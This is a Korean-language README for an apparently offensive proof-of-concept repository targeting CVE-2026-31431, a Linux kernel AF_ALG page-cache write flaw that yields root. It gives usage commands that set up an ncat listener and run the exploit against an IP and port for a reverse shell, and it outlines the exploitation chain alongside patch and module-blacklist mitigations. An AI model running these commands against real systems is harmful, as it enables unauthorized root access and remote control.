
CVE-2026-31431에 대한 로컬 권한 상승 익스플로잇으로, Linux 커널 AF_ALG 로직 결함을 이용해 권한이 없는 사용자가 페이지 캐시에 4바이트를 쓰고 루트 권한을 획득할 수 있게 합니다. PoC 스크립트와 완화 지침을 포함합니다.
Copy Fail은 리눅스 커널의 암호화 서브시스템(algif_aead)에서 발견된 고위험 로컬 권한 상승(LPE) 취약점입니다. Theori가 (자사의 Xint Code AI 기반 취약점 연구 도구를 통해) 2026년 4월 29일에 발견하고 공개했으며, 이 결함으로 인해 권한이 없는 로컬 사용자가 읽기 가능한 모든 파일의 페이지 캐시에 4바이트의 제어된 데이터를 쓸 수 있고, 이를 활용해 2017년 이후 출시된 사실상 모든 주요 리눅스 배포판에서 루트 권한을 얻을 수 있습니다.
동작하는 개념 증명 익스플로잇은 단 약 732바이트의 Python 코드입니다.
sudo ncat -lvnp PORT
# Python 스크립트 사용
python3 CVE-2026-31431-Exploit.py IP PORT
# 컴파일된 바이너리
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT
| 필드 | 세부 사항 |
|---|---|
| CVE ID | CVE-2026-31431 |
| CVSS 점수 | 7.8 (HIGH) |
| 유형 | 로컬 권한 상승 (LPE) |
| 구성 요소 | algif_aead — 리눅스 커널 AF_ALG 사용자 공간 암호화 인터페이스 |
| 근본 원인 | authencesn AEAD 템플릿의 로직 결함; 인플레이스 최적화(커밋 72548b093ee3, 2017년 8월)로 인해 페이지 캐시 페이지가 커널의 쓰기 가능한 대상 scatterlist에 나타남 |
| 프리미티브 | 읽기 가능한 모든 파일의 페이지 캐시에 4바이트 제어된 쓰기 |
| 악용 메커니즘 | AF_ALG 소켓 → splice() → setuid 바이너리의 페이지 캐시 손상 → 루트 |
| 경쟁 조건? | ❌ 없음 — 직선형 로직 결함, 100% 신뢰성 |
| 커널 오프셋 필요? | ❌ 없음 |
| 수정 커밋 | fafe0fa2995a (2017년 최적화를 되돌림) |
AF_ALG 소켓을 열고 authencesn(hmac(sha256),cbc(aes))에 바인딩| 영향받는 버전 | 영향받지 않는 버전 |
|---|---|
| 리눅스 커널 4.14 ~ 7.0-rc | 4.14 이전 커널 (2017년 8월 커밋 이전) |
| 6.18.22 이전의 모든 6.18.x | 6.18.22+ (패치됨) |
| 6.19.12 이전의 모든 6.19.x | 6.19.12+ (패치됨) |
사실상 2017년 이후 출시된 모든 주요 리눅스 배포판이 영향을 받습니다.
수정 커밋 fafe0fa2995a가 포함된 커널 버전으로 업데이트하세요. 대부분의 주요 배포판에서 업데이트된 커널 패키지를 출시했거나 출시 중입니다.
즉시 패치할 수 없는 경우:
algif_aead 모듈 블랙리스트 등록:
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null
이 저장소는 교육 및 방어 목적으로만 제공됩니다. 여기의 정보는 보안 팀이 CVE-2026-31431을 이해하고, 탐지하고, 완화하는 데 도움을 주기 위한 것입니다. 항상 책임 있는 공개 관행과 적용 법률을 준수하세요.